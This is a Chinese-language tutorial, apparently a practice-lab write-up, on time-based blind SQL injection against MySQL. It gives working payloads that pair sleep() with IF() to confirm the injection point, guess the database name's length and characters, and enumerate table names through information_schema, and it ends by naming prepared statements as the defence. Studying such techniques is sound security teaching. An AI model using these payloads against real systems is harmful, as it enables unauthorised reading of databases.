摘要 / 前言:
在 SQL 注入的实战中, 时间盲注(Time-Based Blind SQL Injection) 通常是最后的杀手锏。当我们遇到的场景既没有回显位(无法使用 Union),页面返回内容也永远固定不变(无法使用布尔盲注)时,我们就无法从页面内容获取任何信息。此时,我们通过构造延时函数,让数据库在条件为真时“沉睡”一会儿。通过判断页面响应时间的快慢,来推测数据库中的数据。
一、漏洞分析
1. 现象观察
- 输入
kobe-> 页面显示 “i don’t care who you are!” - 输入
123-> 页面显示 “i don’t care who you are!” - 输入
kobe' and 1=1#-> 页面显示 “i don’t care who you are!” - 判断: 无论输入正确与否,页面回显始终一致。这说明后端逻辑屏蔽了具体的查询结果和错误信息,布尔盲注和报错注入均不可用。
2. 构造延时测试
利用 MySQL 的 sleep() 函数测试是否存在注入。
- Payload:
sql kobe' and sleep(5)# - 结果: 点击查询后,浏览器加载状态持续了约 5 秒钟才显示结果。
- 结论: 数据库执行了我们的延时指令,说明注入点存在,且可以使用时间盲注。
二、核心原理与利用
核心逻辑: IF(Condition, True_Action, False_Action)
我们结合 sleep() 函数构造如下逻辑:
核心函数 IF(expr1, expr2, expr3)
这是 MySQL 的三元运算符:
- 如果 expr1 为真,则执行 expr2。
- 如果 expr1 为假,则执行 expr3。
时间盲注通用公式:
IF(判断条件, sleep(5), 0)
意思是:如果我猜对了,你就睡 5 秒(让我感觉到卡顿);如果猜错了,你就立即返回(0 秒)。
1. 验证注入点
确保逻辑判断生效。
- Payload:
sql kobe' and if(1=1, sleep(5), 0)# - 现象: 页面延迟 5 秒加载。证明
1=1被解析为真,触发了sleep(5)。

2. 猜解数据库名长度
- Payload:
sql kobe' and if(length(database())=7, sleep(3), 0)# - 现象: 页面延迟 3 秒。
- 结论: 数据库名长度为 7。

3. 猜解数据库名 (逐字符爆破)
- 猜第 1 个字符:
kobe'and if(substr(database(),1,1)='p', sleep(5), 0)#- 现象: 延迟 5 秒 -> 说明第 1 位是
p。 - 若无延迟: 尝试
='a',='b'等其他字符。
- 现象: 延迟 5 秒 -> 说明第 1 位是
- 猜第 2 个字符:
sql kobe'and if(substr(database(),2,1)='i', sleep(5), 0)# - ………
4. 后续数据获取
后续的爆表名、爆列名与布尔盲注完全一致,只需将内部的判断逻辑放入 if 条件中即可。
- 例如爆表名:
sql kobe'and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='m', sleep(5), 0)#
三、总结与注意事项
时间盲注的特点:
- 极度耗时: 每个字符都要尝试多次,且每次成功都要等待延时时间。实战中几乎必须依赖工具(如 SQLMap)或编写脚本。
- 网络干扰: 如果网络本身不稳定(波动超过延时时间),会导致大量的误判。实战中通常会设置较长的延时(如 3 - 5 秒)来抗干扰。
- 万能性: 只要存在 SQL 注入漏洞,理论上都可以使用时间盲注(除非数据库禁用了延时函数),它是注入检测的保底手段。
- Benchmark 函数: 除了 sleep(),还可以使用 benchmark(count, expr) 函数制造延时(通过执行大量计算)。
防御措施:
依然是那句老话: 预编译(Prepared Statements)。无论什么类型的注入(回显、报错、盲注),只要使用了预编译,参数就不会被当做 SQL 代码执行,注入即失效。
正文完